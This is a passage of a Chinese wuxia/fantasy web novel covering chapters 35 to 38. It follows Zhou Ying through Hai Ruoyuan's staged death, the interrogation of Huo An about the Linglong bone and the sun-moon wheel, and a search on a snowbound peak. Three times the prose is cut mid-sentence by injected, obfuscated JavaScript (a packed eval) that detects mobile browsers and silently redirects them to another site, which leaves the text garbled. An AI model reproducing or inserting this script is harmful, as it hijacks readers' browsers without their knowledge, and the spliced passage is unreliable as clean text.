战况远比想象更加激烈,这段距离山顶不过两三百步的小路上,三五步就有一个人倒下,刀枪剑棍,各种兵器七零八落掉了一路。 周盈渐渐发现这些玄冥帮众伤势不一,却都还留着一口气。有的受了伤却未完全昏死过去,嘴里哼哼唧唧不知道在念什么。她听不清,只觉得吵,吵得心烦气躁。 强制压下这股烦躁,心里越来越感觉不对劲。没错,这一路上竟已经倒下了三十多人! 向愁眉只是普通的武者,武功并不算出众,被二百多人包围按理说是走不到山顶的。而且她看过这些人的伤口,有好几个出手间都过于利落。 周盈虽没见过向愁眉出手,但知道他急功好义。如果他在被围困时还能把这三十多人打得哭爹喊娘,骡马大会区区二十来人,他也可顺手收拾了,为何要专门找上公室? 思索间,一阵婴儿哭声“哇”地响起,哭声比之前的还要响亮、刺耳、挠人心肝。 数十步外,玄冥帮众大队人马蜂拥而上,叫喊声中三五时夹杂着断断续续的兵器碰撞声。 周盈立即寻声追去。 百余人的玄冥帮众收拢在一起,将人严严实实围在了山顶。周盈看不到里面的情况,只知道下面就是万丈悬崖。战况混乱,你推我攘,稍不留神只怕尸骨无存。 听着里面杀声震天响,想出手相助,又怕下手太重,伤到里面的人。情急之下,只好控制着力道一掌打了过去。瞬间,人肉铸成的包围圈从最外面被破开了个口子。 然而,很快玄冥帮众像饿狼似的又围上去,不断补上缺口,不断缩小包围圈,像狼群在分战利品,不容许别人来分一杯羹。 圈内,打斗声越来越激烈。 周盈冲了过去,把人一个个往外丢。 一连丢了十几个人,她才后知后觉地看了看手掌,掌心鲜血淋漓,浓烈的血腥味刺得她脑子嗡嗡乱叫。 这血不是她的,也不是玄冥帮众的,而是战圈里人的。周盈又怒又急,呵道:“走开,你们走开啊!” 她拼命挤了过去,但玲珑骨像是有什么魔力一样,散发着无比诱人的气息,吸引着这群饿狼。她对着前面的人刺了一剑,可是那人已经完全被迷住了心窍,丝毫感觉不到痛,反而争先恐后往里面挤。 战圈越缩越小,打斗声却一直没停过。 她冲里面喊了一声:“眉兄!” “眉兄,你在吗,是你吗?” 没有人回应。 她一只手护着顾奇缘,一只手飞快掀飞前面的人,拼命往里面挤。 突然,一个声音兴奋道:“死了,死了,终于死了。”疯狂的笑声掺杂着婴儿的抽噎啼哭声。 又有一人惊声道:“啊!他又站起来了,快杀死他!” “别让他活着,再去补一刀!” “快,再补一刀!” 那人手上沾了血,双眼通红泛着幽光,听见人没死,高声呼和着要杀人,眼神既兴奋又恐惧,活像只疯狗。嗖地一股热气冲上颅顶,周盈气得一巴掌狠狠打在他胸口。 但他却好像没有痛觉,拼命扒开旁边的人,再次扑上去。 周盈终于挤到前面,她看见一个人扑了过去,其他人也按耐不住扑上去,玄冥帮众急不可耐地簇拥上去,无数张脸激动得发红,大笑得扭曲变形。 数十张疯狂丑陋的陌生面孔里,她看见了那个人的脸,那张再熟悉不过的脸,不是向愁眉,而是海若渊! 像是有什么哽在喉头,让她一句话也说不出,为什么是他……为什么是海若渊?! 一人狂笑道:“哈哈哈哈哈” “玲珑骨是我的了!” 周盈看见最利的刀子插进了海若渊的胸口,那出刀的人却等不及把刀拔出就迫不及待加入抢夺的队伍。 海若渊浑身都是血,他的身子已经动不了了。不知道是不是幻觉,周盈感觉他朝自己这边动了一下,好像要扭过头看着自己。但他没有再动,他已经死了,不知道哪把刀插进了他的心脏。 他一句话也说不出了。 在他身旁,玄冥帮众无休无止地互相攀咬,攘命似的争夺孩子。 孩子的哭声响彻山野! 可是周盈知道,那个孩子是假的,只是一个幻象。玄冥帮众杀了真正的人,却在争夺一个幻象,一个虚影。 婴儿的哭喊充斥耳郭,海若渊以前所未有的姿态出现在她眼前。她摸了摸海若渊的脸,脸上有血,将五官糊成血红一片。 玄冥帮众还在抢夺,那枯木变的孩子被他们抢来抢去,哭得很大声。 哭声把居延府的人引了过来。 不知道什么时候顾奇缘也不见了,她好像只抱着只空虚的襁褓,襁褓里边的孩子被恶人夺了去,而她正伤心欲绝。 居延府的人看到的就是这样的景象,好似恶鬼的狂欢,真正的人间炼狱。不等他们阻止,那孩子就在抢夺中被扔下山崖,投入了万丈深渊。 然而,抢夺玲珑骨的人却还没冷静下来,他们开始互相指责,继续攀咬。 “是你扔的!”一人骂道。 “你丢了玲珑骨!”一人吼道。 还有人不死心地爬在悬崖边上,企图搜索到玲珑骨的一点踪迹。 等他们终于冷静下来,却再也来不及了。 居延府的人已经目睹了这一切,亲耳听他们承认了这一切:玄冥帮众残杀无辜,坠杀婴儿,天地难容! 居延府来的是个府将,名字叫做阿大。阿大张了一张丑脸,整张脸活像烙铁烙过了一样。只有眼珠子还灵敏地转动,烫破了的嘴皮子被面部肌肉强行牵动,正有条不紊地指挥着居延府的人捉拿眼前的这群疯狗。 他身后,跟着三个周盈见过的人。 一个是持棍的长者,一个是持剑的伤者,他脸上的淤紫已经消了大半,只是空落落的右臂再也无法恢复,还有一个是周盈一直在找的向愁眉。 这些人因为迷阵已经认不出海若渊了。 他们惊愕不已,却什么也没说,因为他们不认识这个死人。 向愁眉看见周盈,惊奇道:“周兄弟,你怎么在这里?” 周盈没说话。 他看见她怀中空空的襁褓,又问:“你的孩子呢!” 周盈终于落下泪:“他已经死了。” 居延府听说玄冥帮众会在这里行凶后,连夜召集了人往死人谷赶,向愁眉便把他们往山上带。山下,还有三百人把这座山围得水泄不通。他们足足忙到太阳下山才把玄冥帮众一个不剩的抓走。 阿大很生气,丑陋的脸变得十分吓人,他问他们,是谁指使他们做这样的事情。 他们说,是笑面书生。 阿大扯着粗哑的嗓子又问,笑面书生人呢。 他们说,不知道。 只有周盈知道,笑面书生已经被顾曾云亲手杀死。但她不会说。这以后,全天下都会追杀笑面书生,玄冥帮也成为众矢之的。 最后还剩下一具尸体,他们看见周盈守在旁边,但他们又不认识这个人。向愁眉犹豫了好久才上来问道:“周兄弟,这个人……” 周盈道:“我……我来埋。” 向愁眉不知道海若渊去了哪里,但他知道要是公室在这里,这一切就不会发生。所以他只能说:“请节哀。” 周盈抬起头,笑了笑,问他:“眉兄,许久不见你,你去了哪里?” 向愁眉觉得有些惭愧,道:“我被吃人熊打晕了。” 原来海若渊说的是这个意思,人都晕了,自然无法听到声音。 天已经完全黑了,顾奇缘又恢复了原样。他们走后,整座山只剩下两个活人,周盈觉得这一切似曾相识。在三摩地,死了三十九人,只活了她和十八学士。在这里,也只活了两个人。一个是她,一个是顾奇缘。 上次,是公室策划,这一次,也是公室策划。 但她没想到会有这样一个疯子,把自己也算进去! 她觉得脸上有点痒痒的,大概是眼泪干了。她正要伸手去擦,却听到身后异动,有人一步一步靠近她。 那人说:“你在伤心?” 一回头,海若渊已经干干净净、活生生站在面前。周盈先是一愣,瞬间炸了起来:“你没死!” 海若渊看着她的脸,本想拿她玩笑,不知道怎么也笑不出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796368|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了半晌,他只好道:“你希望我死?” 我不希望你死,但也没想到你现在就活过来! 周盈看着他,又一次有撞鬼的感觉。 没想到海若渊递过张帕子,道:“男儿有泪不轻弹。” 周盈一把抢过帕子,怒道:“谁出生没嚎两句,我想哭就哭,高兴哭就哭,关你什么事!” 海若渊指了指顾奇缘,一本正经道:“他就没哭。” 周盈被他噎得说不出话,越想越气,海若渊,果真一如既往地可恨。 她怒眉一扬:“你为什么骗我?” “我骗你什么了?” 周盈气呼呼的:“你说向愁眉已经死了。”话出口才发现不对劲,但也收不回来了。 海若渊道:“我可没说,是你自己这样认为的。” 周盈往地下一指:“那他——”她指的是刚刚死掉的海若渊,没想到一回头,尸体却已经不见了。 海若渊无奈道:“都说了是法阵,总不可能让我真的去死。” 周盈觉得他说的有道理,但就是有一种上当受骗的感觉。 海若渊看她余怒未消,服软道:“周公子,请息怒。”说着,不知道他从哪里搞来个食盒子。 周盈接过,一打开,里面装的是白粥,配着一对碗勺。一摸,粥还温着呢。她惊喜道:“你什么时候买的?” 海若渊看她消了气,应道:“是孔雀带的。” 周盈道:“顾奇缘一定饿了,先喂他。” 但又怕他嚼不了米,便先只盛米汤给他喝。但当周盈拿勺子对着他的嘴时,顾奇缘睁着一双大眼睛,好像不知道这是什么。 周盈疑惑道:“他怎么不会吃?” 顾奇缘虽不像一般孩子一样会哭会闹,但饿了这么久,看见食物应该会有反应,可是他好像完全不明白他们在干什么。 周盈把他抱着,稍稍倾斜了勺子,让米汤缓缓淌入他的嘴里。 可食物送入口中又被他吐了出来,周盈只好用帕子给他擦干净。 海若渊看在眼里,猜测道:“这孩子只怕不用吃东西。” 玲珑骨救他性命,也让他无法正常生长,甚至把他变成了一个不同于常人的……怪物,但是他身上究竟还有什么不同,周盈心想,看来只有去寻商音竹。商音竹既然能救他,必然也知晓他的情况。 周盈自己也饿得前胸贴后背,把顾奇缘交给海若渊抱着,便坐在旁边喝粥。喝了几口粥,气也消了。吃着吃着,又想起了在死人谷底的遭遇,她道:“这个阵法,看到的东西都是真的吗?” 海若渊笑道:“要是真的,我怎么会在这里。” “难道都是假的?” 可如果是假的,迷阳地的一切有怎么解释? 海若渊道:“有真有假,真真假假,虚虚实实,这样才骗得过别人。” 略一停顿,道:“所有人在里面只能看到两种东西。” “什么东西?” “渴望之物,抑或是恐惧憎恶之物。” 玄冥帮能看见那个孩子,就是因为他们对玲珑骨的极度渴望。察觉到周盈意有所指,他道:“怎么,你看到什么了不得的东西了” 周盈只是摇头,孟婆婆,小搜,她之前分明不认识这些人,又怎么说得上喜欢讨厌。 一切过后,周盈才缓缓回味过来海若渊如此做的目的。 顾曾云因玲珑骨而身死,玄冥帮众为了玲珑骨又如此疯狂。顾奇缘就算真能平安长大,也只怕风浪不息。但是,今天所有人都看到顾奇缘摔下百丈悬崖,等居延府把消息传播出去,世间便不会有顾曾云之子,便不会有玲珑骨。 想了想,仍觉得匪夷所思:“盗指玄冥握有无数秘宝,灵丹妙药想必不少,又何必费尽心机来夺玲珑骨?这东西究竟有什么稀奇的?” 海若渊道:“不如问问知情人。”说着,只见他双唇微动,不知使了什么法诀。 紧接着,一个人影从林子里连滚带爬,踉踉跄跄跑了出来。 “霍安!”周盈看见来人,大吃一惊。 怪不得刚刚没见到他,原来早早就被海若渊擒住了。 36. 玲珑骨(十九) 霍安想必早已经在海若渊手里边吃尽苦头,一滚出来,半个字不敢多说,头倒是咚咚咚磕了十几下。海若渊黑沉沉的眼睛看了他一眼,不急不怒,缓缓道:“我不吃这套,你只把你知道的都说出来。” “想清楚再说。”看了眼周盈。 周盈开口:“你先说,盗指玄冥为何要夺玲珑骨。” 这个问题他们当时就已经问过顾曾云,但顾曾云只知道玲珑骨可以救自己的孩子,对盗指玄冥的用意却是一无所知。 最开始她以为,盗指玄冥依附罗刹海,夺玲珑骨是为了救治莱山罗罗被自己砍断的手臂。但是今天再细想,事情远远不是她想的这么简单。莱山罗罗一开始就行踪诡秘,罗刹海重出之事多日以来更是没听到一点风声。若夺玲珑骨是为了治疗莱山罗罗,又怎会闹得帮中人尽皆知? 而且今天从各地赶来的玄冥帮众虽分属各派,但对玲珑骨可谓疯狂至极。单凭重造肌骨,接续残躯,必定无法让他们如此疯狂。 由此看来,玲珑骨的秘密远远不止如此。 天虽已下黑,霍安却不敢与他们对视,只能埋着头把一切交代,颤抖的声音断断续续传来:“听帮主说…”察觉不对劲他又立即改口,“是盗指玄冥,他说,玲珑骨可以助人肌体重生,增强体质,便是没有武功根底的人,只要有它相助,不出三五年也会大有成就,纵横一方。” 周盈皱眉:“盗指玄冥横行多年,修为想必不差,又何必来夺玲珑骨?” 而且,顾曾云爱子如命,要从她手上抢走玲珑骨只怕得不偿失。 想着,心上又不觉冷笑,难怪今天玄冥帮众敢这样嚣张,原来是知道顾曾云不在身边。 霍安被她一句质疑吓得脸都变了色,连忙道:“小人说的句句属实,不敢欺瞒!” 海若渊不置可否,只道:“你继续说。” 霍安才敢继续说下去:“盗指玄冥还说,玲珑骨是天赐之物,非是凡物可比,得到它便可以超越人世阳寿限制,不老不死,与天同寿。” 与天同寿?当年恶鬼死后便会不断复生,人人谈鬼色变,避之不及,心底却羡慕得紧,甚至为此逼杀无辜孩童。 想了想,周盈又问:“他可说过玲珑骨会有些什么缺陷?” 霍安连连点头:“玲珑骨的力量太过强大,会抑制使用者的生长。” 换言之,玲珑骨的使用者将不受时间限制,其容貌不变,身形也不变,就算躯体受伤也会快速恢复,可以说是长生不死。 哪怕是修者,也就活上三五百年,对于受衰老所困的人类来说,玲珑骨自然是无价之宝,人人眼馋不已。 但是顾曾云的孩子偏偏是个刚出生的婴儿,一旦用了玲珑骨,他便再也不能长大。 顾曾云多年奔波总算找到了破解的法子,想到这里,周盈只觉一阵心酸,等顾奇缘长大,她却再也见不到了。 海若渊听霍安一一说清了玲珑骨的事情,见他低伏着头,大气不敢出,便猜到他知晓的也仅限于此了,于是出声提醒道:“还有第二件事。” 回过头,对周盈道:“下面的东西你可要仔细听。” 周盈一头雾水,除了玲珑骨,她与玄冥帮还有什么牵扯? 霍安听到他的指令,忙接嘴道:“对对对,还有日月轮。” 听到日月轮三个字,周盈脑子一白。 为什么会突然扯上日月轮,啸月梅林夫妇生死成迷、神机会元只有只言片语,线索不是早就断了?现在她有点反应不过来,他们不是在说玲珑骨,为什么突然扯上日月轮? 起伏的心绪还没来得及平复,霍安就急不可耐要把一切抖得干干净净:“一百多年前的一天,盗指玄冥突然收到一封信。” “信中内容极其隐秘,打开那封信以后,盗指玄冥即刻把所有人遣退。”为了证明自己所言非虚,他又补充道,“连笑面书生也被喊了出来。” 笑面书生是盗指玄冥的心腹,为人心狠手辣又颇有计谋,多年来在盗指玄冥身边鞍前马后,为他出谋划策,更知晓盗指玄冥甚多秘密。若连他都喊了出来,可见此事之隐秘。 霍安性命被别人捏着,生怕一个不慎惹得他们不高兴,就白白断送了性命。见他们二人没有出言打断,才大着胆子继续道:“那封信是赤狐亲笔,信的内容就是要盗指玄冥参与抢夺日月轮。” 周盈看着他,道:“把话说清楚,时间,地点——还有从何人手上抢?” 霍安心里叫苦,不是他不想答,而是这件事实在太隐秘,他一脸哭丧道:“不知道,小的真的不知道,信上内容都是笑面书生在盗指玄冥失踪后翻出来的。但他只说了这么多,大人尽管抓他来问就是。” 周盈苦笑,笑面书生已经死在她面前,问他,真的不如问鬼。 一百多年前,多半就是啸月梅林夫妇失踪那一次,周盈没想到日月轮之事比她想得还要复杂,甚至牵扯到了罗刹海。 夜晚沉静得可怕,连秋虫的鸣叫声都听不见。 霍安在一旁候着,大气也不敢出,生怕说错什么,自己就横尸当场。 海若渊乜了他一眼:“说完了?” 霍安把头埋得更低了,声音也更小,再不似在骡马大会上那样趾高气昂。听到海若渊这样问话,连话都不敢说,只能虚虚点了个头。 海若渊道:“说完就走吧。” 霍安逃过一劫,不等他说第二句话,便连滚带爬地消失了。 周盈见人跑远了,才回头道:“你放过他,不怕他到处乱说?” “他不能。” “不能?” 海若渊一副无所谓的样子,说出来的话却是让人后背发凉,“一个废人,活不了几日。” 难怪霍安如此安分,周盈道:“你废了他的武功。” 海若渊道:“留着也没用。” 周盈心上了然,等居延府发出追杀令,玄冥帮只怕无人可活了。像是霍安这种帮众里小头目,平时风头出多了,现在反而成了催命符。如今武功尽失,无异于雪上加霜,逃不了多久就要去与笑面书生在阴曹地府作伴。 海若渊继续刚才的话题:“盗指玄冥没参与当年的事件。” 这个事件,自然指的是夺日月轮之事。 周盈道:“你怎么知道?” 海若渊道:“日月轮就算真的抢到了也到不了他的手上,盗指玄冥不会为他人作嫁衣。” 日月轮是神机十器之一,赤狐贪婪成性,愿意把消息传给盗指玄冥只是想白白拉个帮手。拿到东西以后,必定会据为己有,哪容他人沾染半分! 海若渊又道:“而且,当时还有一件事,让他再也无法分心。” 周盈反应过来:“戴氏惨案。” 海若渊点点头。 当年盗指玄冥灭了会稽城戴氏满门,更因此惹上公室。周盈记得,那件事情发生在恶鬼劫难之前,无忌公室还没死,诸公子尚且活着。当时的公室可以说是兵多将广,风头无两。 而且,即便是今天的公室,也不是盗指玄冥惹得起的。 只可惜,盗指玄冥与罗刹海三煞失踪的时间又太过巧合,适逢恶鬼作祟,天下已经乱作一团,人人自危,哪有闲心再去追查。 如今追究起来,戴氏惨案比恶鬼劫难稍稍早了一些,盗指玄冥的失踪恐怕与这件事脱不了干系。 至于罗刹海三煞,莱山罗罗和玉京子都已经现身,而赤狐却迟迟没有动静…… 当年究竟发生了什么让罗刹海一夕之间销声匿迹! 周盈理不出个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796369|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头绪,总感觉这中间缺少了什么,她一直卡在一个点上,无论如何也绕不开。海若渊看着她走来走去,半响不吭声。刚想提醒,周盈终于憋出一句:“盗指玄冥究竟是为了什么屠戴氏全门?” 终于问到点子上了! 海若渊微微一笑:“不如你仔细想想,盗指玄冥为什么大费周章要引出戴眉山的妻子?” 盗指玄冥以盗闻名,见识亦是不俗,究竟是什么东西值得他如此费尽心机! 周盈反应过来,讷讷道:“你是说,盗指玄冥想要的东西在戴眉山妻子的手上?” 海若渊道:“你不是一直想知道他的妻子叫什么吗?” 周盈似乎察觉到什么,不可置信道:“不会叫商音竹吧………” 海若渊沉默以对。 “那——顾曾云和商音竹……” 顾曾云救过戴眉山,现在她又让自己来找商音竹救她的孩子,周盈一顿胡思乱想,忽道: “难道当初顾曾云救戴眉山也是因为她?” 海若渊道:“未必,如果顾曾云真的受商音竹所托才去施救戴眉山,又何必让萧散人出手?” 周盈敲了敲脑袋,作沉思状:“商音竹为何当初不亲自出手救戴眉山?” 当初盗指玄冥以戴眉山作饵,意在引出商音竹,但她却一直没露面。 如今顾曾云又要自己去寻她,那便说明她还活着。结发为夫妻,她既然活着,为何不亲自去救戴眉山? 当年戴眉山被盗指玄冥所胁,无人相救,中了剧毒,锒铛过市,可是凄惨至极。商音竹又怎忍心看他受此屈辱! 戴眉山只是会稽城的书呆公子,顾曾云是闻名边境的毒医,萧散人身份不明,原本八杆子打不着的人。 顾曾云却要商音竹救自己的孩子,如果她自己都束手无策,商音竹又有法子? 周盈越绕越昏。 不知道怎么被海若渊扯到这里,她刚才分明问的是盗指玄冥屠杀戴氏全门的原因。 灭门的原因……盗指玄冥要的东西!她的思绪突然被一点点打开,只要顺藤摸瓜就会知道自己想要的答案: 难道当年盗贼玄冥要夺的东西与这孩子的生机有关——— 而这东西一直就握在商音竹手上! 周盈思绪渐清,又问道:“那个东西究竟是什么?” 海若渊只回答了三个字:不知道!” 不是他不愿意说,而是真的不知道。 当初公室要调查此事时,恶鬼祸世,公室自顾不暇。 后面,别说是盗指玄冥,就是罗刹海三个煞星也宛如人间蒸发! 至于戴眉山,别人一直以为他死在盗指玄冥手里,谁知道萧散人和顾曾云又插了一手。 而这两个人,萧散人至今只知道一个名字,顾曾云因为替孩子寻找生机早已经销声匿迹。 时过境迁,公室即使有心查探,也犹如雾中看花,再怎样查也查不出那样东西究竟是什么。 周盈叹了口气,真相不是都能浮出水面的,当年与这件事情相关的人,死的死,失踪的失踪,还有一个连生死都不明的。 真相二字,就像一串珠子,往往只看到上面的珠子,但是真正串起它的却是那根藏起的线。 现在他们已经看到了这根线的尾巴,当初公室无论如何也查不出来的,只要找到商音竹一切自然真相大白。 周盈望着无尽的夜空,星星抬首可见,却又永远抓不到手里。玲珑骨之事尚见到一点曙光,日月轮的过往却在时间的洪流下湮灭。 即使水落石出,母亲还是死了,啸月梅林和管悦怿多年找寻不到,只怕是凶多吉少。想到这里,她猛地跳了起来:“无论如何,不能让盗指玄冥先找到商音竹!我们现在就走!” 37. 苍山雪(一) 周盈拉着海若渊连夜赶路,马不停蹄地走了几十里路,忽然感觉一股冷意袭身。别说万两,就连阿金的也焉儿嗒嗒的,她被冷得打了个哆嗦,看海若渊一点儿反应都没有,忍不住问道:“你不觉得今晚冷得出奇吗?” 今晚月亮很圆,月光穿林而过,依稀可见到叶子上覆盖了一层厚厚的冰霜, 周盈把怀中的孩子往自己身前拢了拢,却感到意外的冰凉,伸手一摸,顾奇缘的手比周遭环境还要凉上三分,活像从冰窖里捞出来的。 寒气仿佛在一点点剥夺他的温度。 就在此时,海若渊把缰绳轻轻收拢,道:“云顶峰到了。” 准确地说,现在他们只到了云顶峰的山脚。 但是单单往这山脚一站,就有如此寒气透骨。顾奇缘浑身冰冷,周盈抱着他,感受到他的气息格外微弱,生怕他熬不过去。 海若渊似乎察觉到她的犹豫,下了马,对她道:“顾曾云既然让我们带他来这里,肯定是有把握。” 周盈闻言点点头,这个世界上,没有人比她更在意顾奇缘的性命。 云顶峰就在面前,因吸收了天地至极之阴气,终年覆雪,是这万山中一抹白。方圆十里之内,不见人烟,鸟兽绝迹。但就是这样一个地方,它的峰顶却有积雪化成的一湖雪水,纯净无暇,成了人们口中的鉴湖。 才到山脚就冷成这样,周盈朝隐匿与黑暗的看不见的山顶眺望一眼,根本不敢想象生在云顶之顶的鉴湖又是怎样一番风雪。 大雪封山,车马不通,他们只好把万两和阿金拴在山脚下,反正这里常年无人,也不担心有人偷马。 然而真正入山,每一步都比预料得更加举步维艰。 风啪啪打在脸上,混杂着细碎的冰粒,刮得脸生疼。雪层厚度不一,而林子太密,走得太快就必须做好随时跌入雪窝的准备。 周盈一辈子都没走过这么难走的路,几番折腾后,只好老实扶着树干慢慢地走。 于是乎,平时半刻就能走完的路,竟然生生磨蹭了小半个时辰。 又往山里走了一段路,寒意更盛,冻气袭骨。 周盈一边把顾奇缘往怀里塞,一边被冻得瑟瑟发抖,牙关不停打颤。茫茫寒雪埋没了一切,举目四望,万籁俱寂,再见不到一丝生机。周盈心道,商音竹究竟是怎样一个人,居然能常年居住在这种鬼地方。 想罢,忽觉气温明显降低了许多,她忙摸了摸孩子的四肢。这么一摸,竟被吓一跳,顾奇缘身上竟无一点热气,周身凉如寒冰。他又从来一声不吭,要不是顾命火还没有熄灭的迹象,周盈几乎以为他已经被冻死过去了。 顾曾云临终前只交代她来找商音竹,但万万没想到云顶峰会是这般景象。偏偏他们又赶在天黑的时候进山,除了一片煞白雪色,什么都看不清,根本不知道从何找起。加之行路拖沓,周盈不禁心急:“云顶峰这么大,不晓得要找到什么时候?” 忽然,海若渊在身后道了一声:“那里有间茅屋。” 循声探去,在一片黑白交织中,雪地上果真凭空出现了间茅庐。 屋中隐约透出亮光,暗示着深山中的一点人气。 霎时愁云散尽,周盈惊喜道:“难道是商音竹?” 海若渊眸光亦是一亮,嘴上却道:“先去看看。”看她冻得不行,又道,“若是找不到人,不妨先休息一晚,等天亮了再找也不迟。” 周盈点点头,她实在冻得受不了了,急需一个避风雪的地方。又趁机瞟了海若渊一眼,原来他的脸也已经被冻得发白了。 云顶峰傲立群山,这茅屋便是山中孤客。风哧哧刮过,卷起檐上草,带走屋上雪,只有这屋子屹然不动,破破烂烂又孤独至极,平添股遗世独立的意味。 周盈不确定商音竹是否在里面,在屋前一丈处停步,盯着屋门,高声问道:“里面有人吗?” 没人回答,只有寒风呜呜呜的咆哮声一直回应着,像替这屋子的主人谢绝外客。似乎他们与风雪都不过是过客,只有云顶峰与这茅屋才是主人。 眼见屋内火光映现,周盈不死心,又喊了一声。 房檐上的冰凌坠下,啪嗒一声,在地上碎成了冰渣子。 还是没人应,屋里的火光也似明似暗,不知道什么时候就会突然熄灭。 天地之间,一片寂寥,雪却肉眼可见的越下越大,白了屋外人的头。 周盈怕冻着顾奇缘,连忙用袖子遮住身前的飘雪。这时,一直跟在旁边不出声的海若渊突然走上前,扣响了门板。 “咚——咚——” 扣门声在一瞬间压过了风雪的呼喊,房中人终于有了动静。 细窄的门缝中忽现火光,紧接着又听见一阵骚动,吱地一声后,门开了。 开门的是个老者,黑洞洞的屋子里,只有火光恍恍惚惚照着他的脸。老者须发皆白,面中沟壑纵横,就连那持灯的手也因过分衰老而微微颤抖着。 见到贸然造访的二人,他抬起头,一脸茫然。 周盈没想到打开门会是这样的场景,住在终年冰雪的屋子里的居然会是这样一个老人。观他五形,枯老而羸弱,只怕哪天就会在这个茅屋悄无声息的死去。 老人一下子没反应过来,眼神呆滞地看了眼周盈,又看了眼海若渊。 周盈心道,难怪刚才一直没开门,只怕他根本没听到自己那两声。于是连忙解释道:“老伯,风雪太大,能让我们进去避一避吗?” 老者老得似乎神经也迟缓了,半晌才反应过来,粗老的声音道:“快进来。” 老者一瘸一拐,走得很慢,周盈不得不放慢脚步,紧跟其后。走路时,不经多看了几眼,这才发现老者的腿脚不是很方便,像是年轻时受过伤。 屋子中间罢了张实木长桌,将二人领进屋后,老者努力地弯腰够到桌子中央,试图把灯放回原处。然而,仅仅一个再寻常不过的动作,于他而言,几乎等同于移山造海,折腾了好半天才无比费力地完成。 不知为何,这样冷的天,屋子里居然没生火取暖,寒气穿墙而过,冷得像冰窖似的。周盈搓了搓手,然后把捂热的手掌揉了揉顾奇缘的小脸,将肉乎乎的脸蛋儿烘出暖意,才若无其事地打量起这间屋子。 并不算宽敞的草屋,各种家具摆设却是一应俱全,连杯盏都放得整整齐齐。房子的一角还专门腾出位置来放书,或许是因为这个,房屋主人才不敢在屋子里点火取暖。 但这房子太过狭窄,没有专门辟出的厨房,只在进门处搭了个简陋的炉子。炉子里也没见火星。卧房却有两间,门掩着,看不清里面的样子。 看着那虚掩的门,周盈心想,难道这里还住着别人? 此念方现,老者已转过身,盯着二人,开口便问:“你们做什么?” 周盈怕他听不见,敞开了嗓子,故意说得很大声:“老伯,能帮忙件衣服吗,天太冷了。” 老人听到她的话,神情一阵恍惚,随即口中不断念叨:“是啊,听说鉴湖很冷,要穿厚一点。”他的嗓音十分含混,但屋子里很安静,周盈能一字不漏地把这句话听进去。只是……周盈觉得奇怪,他怎会以为自己要去鉴湖? 老者身体年迈,一举一动,形似木偶,僵硬又缓慢。但是他的脊背挺得很直,比所有见过的老人都要直。 可惜,这没有让他灵敏半分。 他一边念叨着,一边转身走进了卧房里。进去的时候手上没有拿灯盏,只凭着记忆与感觉去寻找,可以看出他在这里住了很久。 这间屋子亦散发出一股雨水与陈年木头混杂出的腐朽气息,像它的主人一样枯朽,见不到一点生气,不知道哪一天就会倒塌。 周盈又回过头去看屋子里的背影,老者的动作很慢,似乎在翻箱倒柜,一室之隔,能听到隐隐约约的声音。 一声近似木板合拢的响声后,老者终于走了出来。 周盈正想问他这里还有没有住着别人,毕竟留了两间卧室,连碗筷、桌椅都是成套的。但是,话还没说出口就咽了下去。 老人抖抖索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孰料听到商音竹三个字,老者枯朽木讷的眼睛里突然有了生气,神采奕奕道:“音竹……音竹说她不久就回来!” 语气透着明显的兴奋。 “再等等……再等等……” 周盈惊讶,他真的认识商音竹。 非但如此,在说完那句话后,他真的就这样坐下来等着。 周盈心道,这老人真的想一出是一出,酒壶也还提在手上,竟也浑然不觉。见他话中似有十分的把握,思来想去,还是坐下来陪他一起等。心中想着,只要见到商音竹,顾奇缘的病就能治好,或许……当年与盗指玄冥相关的一切也可以水落石出。 但周盈没想到,这一等就是大半个时辰。 方才那盏灯不知道什么时候点上的,耗了许久时日,火光隐隐有将熄的迹象。周盈等得百无聊赖,老者似乎已经忽略了他们,一心望着窗外雪景。时间飞转,灯油已经见了底,露出一截黑黢黢的灯芯,周盈把灯芯挑断后找不到事情做,终于忍不住要出口询问。 正要开口,老者却突然回过头,说了句没头没脑的话:“你是阿枚吧。” 周盈:“………?” 不等她回答,又自顾自道:“音竹说阿枚会来找她,再等等,再等等就好了。”视线又落回到窗外。 周盈一阵哑然。 最后也只是一个等字,但是他口中的阿枚是谁,商音竹又在哪里,却始终无从得知。 那雪下得紧了,周盈越来越不安,开始怀疑他的话,商音竹真的会来这里吗? 已是夜半时候,连灯油也添了一回,周盈再怎么问,他只说再等等。 周盈几次坐不住要起身,但老者说这话时,眼里透出赤子般天真的神采,让她又有些恍惚,难道商音竹真的要回来了? 恍惚间,视线不由得冲向窗外,一直望向那无边无际的雪,心中隐隐盼望茫茫雪地中会出现一个身影,将他们从这无休止的等待中解救出去。 38. 苍山雪(二) “这可是鉴湖酒?”不知道过了多久,周盈正昏昏欲睡,上下眼皮打着架,突然听见海若渊问了这么一句。 